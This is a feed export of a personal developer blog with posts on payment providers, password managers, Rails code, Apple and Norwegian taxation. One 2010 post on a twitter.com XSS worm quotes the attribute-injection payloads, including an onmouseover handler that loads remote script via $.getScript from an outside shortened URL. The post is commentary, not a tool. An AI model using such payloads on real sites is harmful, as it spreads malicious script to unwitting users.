Inspired? No2015-10-05T19:41:34+02:00http://blog.inspired.no/Espen Antonsenespen@inspired.noBe silent customer2013-11-15T00:00:00+01:00http://blog.inspired.no/be-silent-customer/<p><strong>I tweeted about password being sent in clear text from Adyen (a payment service provider). They called me up and told me I could not be a customer since I tarnished their reputation.</strong></p>
<p>I have been looking for a good payment service provider for a while now. My startup <a href="http://www.makeplans.net/">MakePlans</a> has many small customers so a pay-as-you-go pricing model was a requiment in addition to good APIs. Basically I want to use <a href="http://www.stripe.com/">Stripe</a> but they are not yet available in Norway.</p>
<p>So I stumpled upon a provider called <a href="http://www.adyen.com/">Adyen</a>. Their API <a href="https://support.adyen.com/index.php?/Knowledgebase/Article/View/2102/101">documentation is in a PDF</a>, parts of which you have to ask for via email. They mainly use SOAP but also have a REST API. There are no libraries, few code examples and their <a href="https://github.com/adyenpayments">GitHub account</a> has very little activity. I should have seen the warning signs there. The typical non-developer way of doing what is in practice a IT-based implementation. The very reason why I have been waiting for Stripe and looking at <a href="https://www.braintreepayments.com/">Braintree</a> (unfortuantely they introduced a €100/month requirement).</p>
<p>I talked to a contact person at Adyen who was very nice and was willing to decrease their usual requirements of 1000 transactstions per month to 100 for our clients who are small hairdressing salons and doctor offices (so new to e-commerce and will be doing small volumes). Their pricing was also very good (much cheaper than Stripe). So I decided to implement a simple prototype. The signup process for a test account is not a form on their website as you would expect but instead you have to give details via email. Ok so I did so. Then I received an automated email with username and password for the account in clear text in the email. Now if this was a dating site I would be dissapointed with such a practice. But for a payment provider who shall secure online payments and store credit card details it is a big warning sign with how they have secured their application when they send credentials via email. So what did I do? Well I tweeted about it off course.</p>
<blockquote class="twitter-tweet"><p>Testing Adyen as a payment gateway and they send me password via email and cc to my contact person there. Great start!</p>&mdash; Espen Antonsen (@Espen_Antonsen) <a href="https://twitter.com/Espen_Antonsen/statuses/400627515276165120">November 13, 2013</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>Then I received an email from my contact who wanted to have a chat about the Twitter conversation (I also was in contact with their support on Twitter and I assumed he was referring to that). <strong>During the call I was told that the management was not happy with my tweet and did not want customers to express their opinions on Twitter but instead contact them directly. My tweet was damaging to their reputation and they did not want me as a customer.</strong></p>
<p>I assume there are old men from the finance industry involved in this decision but I also assumed even they were aware of the norm and power of social media these days. If customers, or potential customer in this case, are unhappy they will tell people on Twitter or Facebook. And to deny a customer because of expressing an opinion on Twitter? Perhaps these guys should move to North Korea and continue their business there? To top it off, in this case it was not some shit-throwing rambling but rather pointing out a practice that is considered unsecure by anyone who has knowledge about building secure web-applications (btw we just implemented <a href="https://tools.ietf.org/html/rfc6238">two-factor authentication</a> in MakePlans, perhaps that is something you should spend your time on instead of discussing 'negative' tweets Adyen). The email was also cc'ed to my contact person at Adyen who should not see my password. Nobody should.</p>
<p>As an added bonus here is a screenshot of their back-end administration. Hello 1999.</p>
<p><img src="/images/adyen_admin.png"></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=dQfPpnWqjgw:XJ6f4ylWQZg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=dQfPpnWqjgw:XJ6f4ylWQZg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=dQfPpnWqjgw:XJ6f4ylWQZg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=dQfPpnWqjgw:XJ6f4ylWQZg:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=dQfPpnWqjgw:XJ6f4ylWQZg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/dQfPpnWqjgw" height="1" width="1" alt=""/>http://blog.inspired.no/be-silent-customer/How not to treat passwords2012-07-14T00:00:00+02:00http://blog.inspired.no/how-not-to-treat-passwords/<p>I have been using <a href="http://dashlane.com/">Dashlane</a> as a password manager as I though <a href="https://agilebits.com/onepassword">1Password</a> was a bit too pricey given there are many half-decent free alternatives.</p>
<p>Saving new accounts and authenticating automatically worked really well with Dashlane. I would say it is even smoother than 1Password. There were however instant turn-offs. Passwords are very obviously very important. When dealing with passwords you probably don't want to use humour or other simpler ways of interacting with your application or the way you market your product. Dashlane has other thoughts. They use gamification heavily in their application. To unlock features you need to annoy your friends on Twitter or Facebook about their application. And it continuously asks you to get more points by filling out the profile and other tasks. This behaviour should have resulted in an uninstall for me but as it was free and every day usage of logins were working well so I continued using it. Not a good idea.</p>
<p>I had also installed their iPhone-app. It is a horrible piece of software as was their Safari extension until very recently, using 100% cpu on my MacBook. The iPhone-app would take about 5 minutes to decrypt data. This occurred on every launch. So unusable. Thus I decided to delete it and to delete all my data that they had stored on their servers, as sync goes through their server. Data is also available by logging in on their website. So I sent a request to support: "Can you please delete my account and delete all my data.".</p>
<p>They did. And then I was going to use Dashlane on OSX and my data was gone. Dashlane promotes sync as an added feature and something to be enabled from the local application. It does not seem to be a key core part of how the service operate, but it is. In fact the local account is based on the account on the server and <strong>Dashlane has a kill switch to the local data</strong>. That is not the way to treat passwords. And there is no way to get it back. They have <strong>no backups locally</strong> (1Password does a backup every day and keeps it for 30 days).</p>
<p>Also, funny how using a password manager that is supposed to securely save all my passwords and not have me think about them anymore led me to <strong>lose all my passwords</strong>.</p>
<p>Lesson learned again: "If you are not paying for it; You're the product"</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=_Uut0Q4QGZQ:k2NdSNeEG4g:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=_Uut0Q4QGZQ:k2NdSNeEG4g:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=_Uut0Q4QGZQ:k2NdSNeEG4g:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=_Uut0Q4QGZQ:k2NdSNeEG4g:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=_Uut0Q4QGZQ:k2NdSNeEG4g:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/_Uut0Q4QGZQ" height="1" width="1" alt=""/>http://blog.inspired.no/how-not-to-treat-passwords/Fuck you, let me pay you2012-04-12T00:00:00+02:00http://blog.inspired.no/fuck-you-let-me-pay-you/<p>For my online scheduling and appointment booking application <a href="http://makeplans.no">MakePlans</a> I have implemented SMS reminders. So if you book with a hairdresser you will get a SMS the day before your appointment reminding you about your reservation. This is helpful for the customer and helps businesses reduce no-shows. After some research I ended up using <a href="http://clickatell.com">Clickatell</a> as a provider mainly due to their flexible prepaid pay as you go pricing. Other alternatives required a registration fee as well as a fixed monthly fee. But this was a couple of years ago and now there are some new players in the market offering very cheap SMS, most notably <a href="http://twilio.com">Twilio</a> and <a href="http://tropo.com">Tropo</a>. Unfortunately neither of them were able to fully support international messages or specify a custom sender-id. So I had to continue using Clickatell and top-up my account with some credits. Easier said than done. After entering my details and amount to be paid I was presented with the the error "declined payment". After trying to pay with both my MasterCard and Visa card I suspected something was wrong on their end and contacted support. And this was the respond I received:</p>
<blockquote>"Dear Espen, Thank you for contacting Clickatell. Your card is being declined by our payment gateway as the originating IP Address for the payment does not match up to the card's country of issue. Kindly place a payment within the country of issue in order for your card to be accepted."</blockquote>
<p>I am from Norway but have lived in Kuala Lumpur for a year. Obviously flying back to Norway to pay $100 to send a few text messages was not option. I replied to Clickatell saying so and received this reply:</p>
<blockquote>"We need to see a recent bank statement for the credit card used for your latest transaction. The following information has to be visible on the statement: The name and address of the card holder, The last four numbers on the credit card, The name of the bank..."</blockquote>
<p>I am not really interested in contacting my bank to get a bank statement just to pay a supplier.</p>
<p>As a developer who travels a lot I find this policy customer hostile, puzzling and outdated. While I do understand Clickatell needs to protect themselves from credit card fraud this is not the way to do it.</p>
<p>So what happened after this? Well I did some further research on alternative providers and it seems a found a great one. <a href="http://hoiio.com">Hoiio</a> is similar to Twilio but in addition to low costs and a sensible API they can deliver to most countries and specify sender-id in messages. They are based in Singapore and while signing up for a trial at 10pm local time on a Sunday night I emailed support with a question. Just minutes later I receive a reply from the API lead developer. I'm switching.</p>
<p><small>Post title inspired by <a href="http://vimeo.com/22053820">Mike Monteiro</a></small></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=cKWfqm6cpVo:CrfiDQ4KYGs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=cKWfqm6cpVo:CrfiDQ4KYGs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=cKWfqm6cpVo:CrfiDQ4KYGs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=cKWfqm6cpVo:CrfiDQ4KYGs:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=cKWfqm6cpVo:CrfiDQ4KYGs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/cKWfqm6cpVo" height="1" width="1" alt=""/>http://blog.inspired.no/fuck-you-let-me-pay-you/XSS vulnerability on twitter.com2010-09-21T00:00:00+02:00http://blog.inspired.no/xss-vulnerability-on-twitter-com-760/<p>So <a href="http://twitter.com/judofyr">Judofyr</a> found a XSS-exploit on Twitter.com and within minutes it spreaded like wildfire. His <a href="http://twitter.com/judofyr/status/25107775626">original tweet just set the anchor background color to black</a> but his next tweet included onmouseover and people could not stop moving the mouse over the tweet resulting in over 40000 tweets within 10 minutes.</p>
<p>The exploit:
<code>
http://judofyr.net/@"style="background:#000;color:#000;/
</code></p>
<p><img src="http://img.skitch.com/20100921-xeag5mqg1dyy7efb57hgctp78a.png"></p>
<p>So Twitter does not encode the URL and whatever is after the @ gets included in the anchor. So css and javascript can be included.</p>
<p>Shortly after someone else created a more <a href="http://search.twitter.com/search?q=getScript">evil approach</a>:</p>
<p><code>
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A ...
</code></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=UqDTFkH8lGs:PFpbqdgBUyc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=UqDTFkH8lGs:PFpbqdgBUyc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=UqDTFkH8lGs:PFpbqdgBUyc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=UqDTFkH8lGs:PFpbqdgBUyc:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=UqDTFkH8lGs:PFpbqdgBUyc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/UqDTFkH8lGs" height="1" width="1" alt=""/>http://blog.inspired.no/xss-vulnerability-on-twitter-com-760/Rails photo gallery Balder on Heroku and S32010-09-03T00:00:00+02:00http://blog.inspired.no/rails-photo-gallery-balder-on-heroku-and-s3-726/<p>A while ago I published a <a href="http://blog.inspired.no/balder-open-source-photo-gallery-built-with-ruby-on-rails-693">open source photo gallery built with Ruby on Rails</a>. You can find more info on <a href="http://balderapp.com">balderapp.com</a> or on the <a href="http://github.com/espen/balder">GitHub repository</a>. I have now updated this to a new version which supports S3 storage and so it can run off Heroku (which has no file storage, just a database). Heroku is a really nice free hosted ruby platform and it is very easy to put up simple apps on it as this blog post will demonstrate. Just sign up for Heroku and S3 and type of a few commands in terminal and you are ready to go!</p>
<p><a href="http://aws.amazon.com/s3/">create S3 account</a></p>
<p><a href="http://heroku.com/">create heroku account</a></p>
<p>open terminal</p>
<p>git clone git@github.com:espen/balder.git</p>
<p>cd balder</p>
<p>Edit config/balder.rb: uncomment heroku &amp; s3 settings. Insert your S3 credentials.</p>
<p>git commit -a -m 'settings'</p>
<p>sudo gem install heroku</p>
<p>heroku create APPNAME</p>
<p>git push heroku master</p>
<p>heroku rake db:migrate</p>
<p>heroku open</p>
<p>enjoy</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=nARiR6glRKk:ni8TcMiv1yM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=nARiR6glRKk:ni8TcMiv1yM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=nARiR6glRKk:ni8TcMiv1yM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=nARiR6glRKk:ni8TcMiv1yM:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=nARiR6glRKk:ni8TcMiv1yM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/nARiR6glRKk" height="1" width="1" alt=""/>http://blog.inspired.no/rails-photo-gallery-balder-on-heroku-and-s3-726/Why Rule.fm sucks2010-07-13T00:00:00+02:00http://blog.inspired.no/why-rule-fm-sucks-735/<p><a href="http://blog.inspired.no/why-basecamp-sucks-222">Comments on my blog post about 37Signals' Basecamp</a>
<a href="http://blog.inspired.no/wp-content/uploads/2010/07/rulefmspam11.png"><img src="http://blog.inspired.no/wp-content/uploads/2010/07/rulefmspam11.png" alt="" title="rulefmspam1" width="534" height="337" class="alignleft size-full wp-image-749" /></a></p>
<p><a href="http://blog.inspired.no/wp-content/uploads/2010/07/rulefmspam21.png"><img src="http://blog.inspired.no/wp-content/uploads/2010/07/rulefmspam21.png" alt="" title="rulefmspam2" width="538" height="256" class="alignleft size-full wp-image-750" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=57rU9hNzPqg:9trae1CWm9w:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=57rU9hNzPqg:9trae1CWm9w:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=57rU9hNzPqg:9trae1CWm9w:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=57rU9hNzPqg:9trae1CWm9w:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=57rU9hNzPqg:9trae1CWm9w:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/57rU9hNzPqg" height="1" width="1" alt=""/>http://blog.inspired.no/why-rule-fm-sucks-735/Dare I say rolling the wrong way?2010-06-10T00:00:00+02:00http://blog.inspired.no/dare-i-say-rolling-the-wrong-way-731/<p>It's a few short days after the <a href="http://events.apple.com.edgesuite.net/1006ad9g4hjk/event/index.html">keynote</a>, and what strikes me is that we haven't seen what <a href="http://daringfireball.net/2010/06/one_year">Gruber promised us</a>. No never-before-seen features in OS4. No new Apple TV (Ok, so he was right about the iPhone HD and Safari extension API with Reader).</p>
<p>It was one hell of a post.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=WfcIgXMYNbw:LCgkU9CwtpQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=WfcIgXMYNbw:LCgkU9CwtpQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=WfcIgXMYNbw:LCgkU9CwtpQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=WfcIgXMYNbw:LCgkU9CwtpQ:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=WfcIgXMYNbw:LCgkU9CwtpQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/WfcIgXMYNbw" height="1" width="1" alt=""/>http://blog.inspired.no/dare-i-say-rolling-the-wrong-way-731/FacePalm2010-06-08T00:00:00+02:00http://blog.inspired.no/facepalm-729/<p>The future is here according to Steve Jobs. Maybe he should tell Pixar to make "Back to the Future 4" cause there sure were a lot of "time travellers" who tried video-calling five years ago.</p>
<p>Video calling is fun. Once. Then you never use it again. Im surprised Apple is pushing <a href="http://www.apple.com/iphone/features/facetime.html#facetime-video">FaceTime</a> the way they are. This is definitevely not a techincal revolution. But neither was the iPod. We had mp3-players before. But the iPod made it easy to listen to music on the go. My old Nokia 3G-phone had the same "video-call" button as the iPhone 4 has. So Apple is not making it easier. It was easy, but not useful. I don't see how this will change everything. Again.</p>
<p>At first I laughed at this being WiFi-only even though Steve Jobs said they were working with carriers to support it on (I really wish he would just say AT&amp;T instead of carriers though. Carriers over here in Norway have no problem with 3G video-calls or tethering.) I'm no expert on telecom specifications but I believe the video-calling is part of the 3G-standard. That's why it works on all types of phones. So why is not Apple using this? Cause it is 3G-only. Apple wants video calling to be ubiquitous: phone to phone, phone to computer, iPad to computer. If Apple had chosen to use the 3G-standard video-calling then it would have only worked from iPhone 4 to all other 3G phones, not to other devices over the net. So is Apple going after some of Skype's market here? For many video calling is the entry to Skype. Then they continue to use it and pay for skype to phone.</p>
<p>With this new standard they are making public, Apple must wait until other phones support it. That surely hinders the success of this feature. Even if people suddenly start to make video calls, how many people can you call with your iPhone 4 within the first year?</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=qmFkBDN-Scs:tKP3fnW8tHo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=qmFkBDN-Scs:tKP3fnW8tHo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=qmFkBDN-Scs:tKP3fnW8tHo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=qmFkBDN-Scs:tKP3fnW8tHo:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=qmFkBDN-Scs:tKP3fnW8tHo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/qmFkBDN-Scs" height="1" width="1" alt=""/>http://blog.inspired.no/facepalm-729/Prioritize database search results with Searchlogic (Ruby on Rails)2010-03-04T00:00:00+01:00http://blog.inspired.no/prioritize-search-results-with-searchlogic-ruby-on-rails-723/<p>This is why I love ruby. With one simple line I can <a href="http://ruby-doc.org/core/classes/Array.html#M002209">combine two arrays</a> and <a href="http://ruby-doc.org/core/classes/Array.html#M002214">filter out duplicates</a>. Here I have used <a href="http://github.com/binarylogic/searchlogic">Searchlogic</a> which provides a simple ruby syntax for creating SQL queries. This will execute two SQL queries to the database and combine both resultset but the first query will be presented before the latter. My goal was to search for one parameter in a range of fields, but I wanted to prioritize those results where the paramater exists in more important columns such as name and title. If the parameter is found in columns like description it will be presented at the end of the combined resultset.</p>
<p><code>def self.search(search)
return (self.firstname_or_lastname_or_area_or_title_like(search) + self.bio_or_description_like(search) ).uniq
end</code></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=RqRUNcjf21Q:uWy9Lewv-Wg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=RqRUNcjf21Q:uWy9Lewv-Wg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=RqRUNcjf21Q:uWy9Lewv-Wg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=RqRUNcjf21Q:uWy9Lewv-Wg:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=RqRUNcjf21Q:uWy9Lewv-Wg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/RqRUNcjf21Q" height="1" width="1" alt=""/>http://blog.inspired.no/prioritize-search-results-with-searchlogic-ruby-on-rails-723/Get Flickr Id and display photos with Hpricot in Ruby on Rails2010-02-26T00:00:00+01:00http://blog.inspired.no/get-flickr-id-and-display-photos-with-hpricot-in-ruby-on-rails-718/<p>To utilize the <a href="http://www.flickr.com/services/api/">Flickr API</a> you need the Flickr Id not the Flickr username. I have not found a method for finding the Flickr Id based on username in the Flickr API, so I have created a simple scaping method that find a hidden form field in the Flickr profile for a specified user.</p>
<p>This code assumes you have a model with attributes 'flickr' (flickr username) and 'flickr_id'. It will trigger whenever 'flickr' is updated and then set 'flickr_id'.</p>
<p>First you need the <a href="http://github.com/hpricot/hpricot">Hpricot gem</a>: sudo gem install hpricot</p>
<p><code>
before_update :flickr_change</p>
<p>def flickr_change
if self.flickr_changed?
require 'hpricot'
require 'open-uri'
doc = open("http://www.flickr.com/people/#{self.flickr}/") { |f| Hpricot(f) }
f = doc.search("//input[@name='w']")
unless f.empty? &amp;&amp; !f.first
self.flickr_id = f.first.attributes['value']
else
self.flickr = nil
self.flickr_id = nil
flash[:error] = "Unable to find Flickr username"
raise "Unable to find Flickr username"
end
end</p>
<p> rescue OpenURI::HTTPError => e
puts "The page is not accessible, error #{e}"
self.flickr = nil
self.flickr_id = nil
self.errors.add(:flickr, "not found")
end
</code></p>
<p>Then in my person_helper I have create a little method that will return a hash with the 10 latest photos. The extras parameter takes a comma seperated value for setting which values to return. I have specified to return the URL for square and small photo sizes. See the <a href="http://www.flickr.com/services/api/flickr.photos.search.html">Flickr photo search method in the API</a> for more info.</p>
<p><code>
def flickr_photos(person)
require 'open-uri'
doc = open("http://api.flickr.com/services/rest/?method=flickr.photos.search&amp;api_key=YOUR_API_KEY&amp;user_id=#{person.flickr_id}&amp;per_page=10&amp;extras=url_s,url_sq") { |f| Hpricot.XML(f) }
return doc.search("//photo").collect{|p| {
:title => p.attributes["title"],
:url_sq => p.attributes['url_sq'],
:url_s => p.attributes['url_s']
}
}
end
</code></p>
<p>If you prefer Ruby syntax instead of using Hpricot to generate and process requests you could use one of the Flickr gems that are available: <a href="http://github.com/hanklords/flickraw">Flickraw</a> and <a href="http://github.com/commonthread/flickr_fu">Flickr_fu</a>. I had problems installing then when using Ruby 1.9 so I made the small script above instead.</p>
<p><a href="http://idgettr.com/">If you just want to get your own Flickr Id you can use idgettr.com</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=KPq5KK7M0co:CAvkjsKn0qs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=KPq5KK7M0co:CAvkjsKn0qs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?i=KPq5KK7M0co:CAvkjsKn0qs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=KPq5KK7M0co:CAvkjsKn0qs:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Sleepyhead?a=KPq5KK7M0co:CAvkjsKn0qs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Sleepyhead?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Sleepyhead/~4/KPq5KK7M0co" height="1" width="1" alt=""/>http://blog.inspired.no/get-flickr-id-and-display-photos-with-hpricot-in-ruby-on-rails-718/The Entrepreneur Tax that Kills Business2009-11-20T00:00:00+01:00http://blog.inspired.no/the-entrepreneur-tax-that-kills-business-711/<p><a href="http://www.cloudave.com/link/the-entrepreneurial-tax-that-kills-business">This is a cross-post from my contribution at CloudAve.com</a></p>
<p>All governments, including the Norwegian, talk at length about how to stimulate growth among small businesses and the need to focus on innovation. To accomplish their goals various schemes are offered; grants, tax reductions or state backed industry plans. But while other governments try to help small businesses, the Norwegian government at the same time slaps entrepreneurs with hefty taxes. In Norway if you own shares in a company you will be taxed purely based on the ownership and the value of your share. And im not talking about tax from any income you may receive if you are employed at the company, sale of those shares or dividends from those shares (that would be income taxes at 28% for sale of shares and dividends). No; the tax system in Norway includes personal asset taxation based on the value of the company that person own shares in. <strong>So if you own 50% of a $10 million company then you will be taxed 1,1% of that value ($5 million) = $55 000. Yearly.</strong></p>
<p>So picture this: you have a great startup going. Bootstrapped to the max, customers rolling in giving your servers barely any time to rest and your competitors are left stranded. The company share value skyrockets on the stock exchange while the entrepreneurs are eating at McDonald's because they would rather use the money on new servers instead of nice cars, Russian caviar and French champagne. Then the tax-man arrives. <i>"Well hello there, you owe me a big pile of money"</i>. The entrepreneur doesn't really understand this and replies: <i>"but my salary is $3000/month and have not taken out any dividends from the company"</i>. Mr. tax-man laughs: <i>"Hah, well this is Norway and here you must pay 1,1% asset tax based on the company value, no matter if the company is profitable, has any income at all, or if the current stock value happens to be significantly lower than our tax-claim based on share values from way back last year."</i></p>
<p><div><a href="https://www.cloudave.com/wp-content/uploads/HLIC/618ba02d1964cc51b6b953e07c060f91.jpg"><img src="https://www.cloudave.com/wp-content/uploads/HLIC/618ba02d1964cc51b6b953e07c060f91.jpg" style="margin: 0px 2px; padding: 5px; width: 316px; height: 241px;"></a></div>This is not fiction. Last month I received my tax returns which included an invoice for $6000. Last year I had no income whatsoever as I spent my time <a href="http://travel.inspired.no/annapurna-circuit-trek">trekking up in the Himalayas</a>, <a href="http://DizinSnowboard.com">snowboarding in Iran</a>, doing <a href="http://photos.inspired.no/">yoga by the Ganges and heaps of other stuff during my ten-month trip</a>. While having a blast I also kept on to my shares in&nbsp;<a href="http://24SevenOffice.com">24SevenOffice (ERP/CRM solution which I co-founded)</a>. And based on the value of the shares (2007 pre-financial crisis)&nbsp;this resulted in my tax fees. So if I wanted to sell some shares to cover my tax fees now that would be at half the price compared to the share value which the tax fee was based on. Either way it is a tax claimed on money I do not own or have earned (at least yet). It might actually be money I will never see if the company goes bust.</p>
<p>This year I <a href="http://inspired.no">started for myself, doing some freelancing</a> as well as starting a new venture called <a href="http://makeplans.net">MakePlans (a booking/reservation system)</a>. I would like to spend my income from freelancing ensuring continuous development of MakePlans. Also I would like to continue to hold shares in 24SevenOffice. But the result of this entrepreneurial tax is that I either have to get a loan in the bank or sell off some of my shares, possibly even to a competitor or a foreign investor. Which I assume is not what the Norwegian government wants or is beneficial for the software industry here in Norway. And that is the tragedy of this type of taxation. Not that I have to borrow some money to cover my bills, but that it is actually bad for businesses. And that is not good for the government which is not good for the society. Me having to pay this tax has a negative impact on the health system, educational offerings and all other operations from our tax-funded government.</p>
